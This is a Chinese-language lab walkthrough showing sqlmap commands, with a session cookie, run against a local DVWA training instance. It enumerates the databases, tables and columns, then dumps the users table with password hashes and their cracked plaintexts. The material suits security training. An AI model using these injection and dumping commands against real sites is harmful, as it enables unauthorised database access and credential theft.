1、使用firefox浏览器(安装一个firebug插件)登录http://192.168.204.132/dvwa/login.php页面,使用admin/password
2、打开firebug工具的cookie面板,将所有cookie复制下来。得到:
PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2; path=/; domain=192.168.204.132 security=low; path=/dvwa/; domain=192.168.204.132
3、打开dvwa的SQL Injection页面,在User ID输入框内输入1,点击submit按钮。从地址栏得到要测试的url:
http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
4、从kali打开终端,数据sqlmap,将会有提示文档。
5、开始测试该url是否存在sql注入漏洞,在终端输入:
sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' - -cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low'
得到信息结果:
web server operating system: Windowsweb application technology: PHP 5.3.29, Apache 2.4.18back-end DBMS: MySQL >= 5.5
6、开始探测MYSQL中用来存放应用数据的数据库名称,在终端输入:
sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' --dbs -v 0
得到信息结果:
available databases [5]:[*] dvwa[*] information_schema[*] mysql[*] performance_schema[*] test
7、得到数据库是dvwa后,开始获取数据库中所存在表,在终端输入:
sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' -D dvwa --tables
得到信息结果:
Database: dvwa[2 tables]+-----------+| guestbook || users |+-----------+
8、得到两张表,获取一下users表的字段,在终端输入:
sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' -D dvwa --tables -T users --columns
得到信息结果:
Table: users[8 columns]+--------------+-------------+| Column | Type |+--------------+-------------+| user | varchar(15) || avatar | varchar(70) || failed_login | int(3) || first_name | varchar(15) || last_login | timestamp || last_name | varchar(15) || password | varchar(32) || user_id | int(6) |+--------------+-------------+
9、最后可以吧表数据导出来了,在终端输入:
sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' -D dvwa --tables -T users --columns --dump
得到信息结果:
Table: users
[5 entries]+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+| user_id | avatar | user | password | last_name | first_name | last_login | failed_login |+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+| 1 | http://127.0.0.1/DVWA/hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2017-04-01 00:58:43 | 0 || 2 | http://127.0.0.1/DVWA/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2017-04-01 00:58:43 | 0 || 3 | http://127.0.0.1/DVWA/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2017-04-01 00:58:43 | 0 || 4 | http://127.0.0.1/DVWA/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2017-04-01 00:58:43 | 0 || 5 | http://127.0.0.1/DVWA/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2017-04-01 00:58:43 | 0 |+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
[INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.204.132/dump/dvwa/users.csv'
并且导出CSV数据到本地!还发现一个惊喜数,据库中的密文密码也给破译了!!
给出sqlmap的一些选项:(sqlmap -h会给出英文的帮助文档) –cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low” -u : 指定目标URL -b : 获取DBMS banner –current-db : 获取当前数据库 –current-user:获取当前用户
–string : 当查询可用时用来匹配页面中的字符串 –users : 枚举DBMS用户 –password : 枚举DBMS用户密码hash
–dbs: 枚举DBMS中的数据库
-D : 要枚举的DBMS数据库 –tables : 枚举DBMS数据库中的数据表
–columns : 枚举DBMS数据库表中的所有列
-T : 要枚举的DBMS数据表
-C: 要枚举的DBMS数据表中的列
–dump : 转储DBMS数据表项
非常感谢原博主的分享,受益颇多:http://blog.csdn.net/qq_20745827/article/details/68953621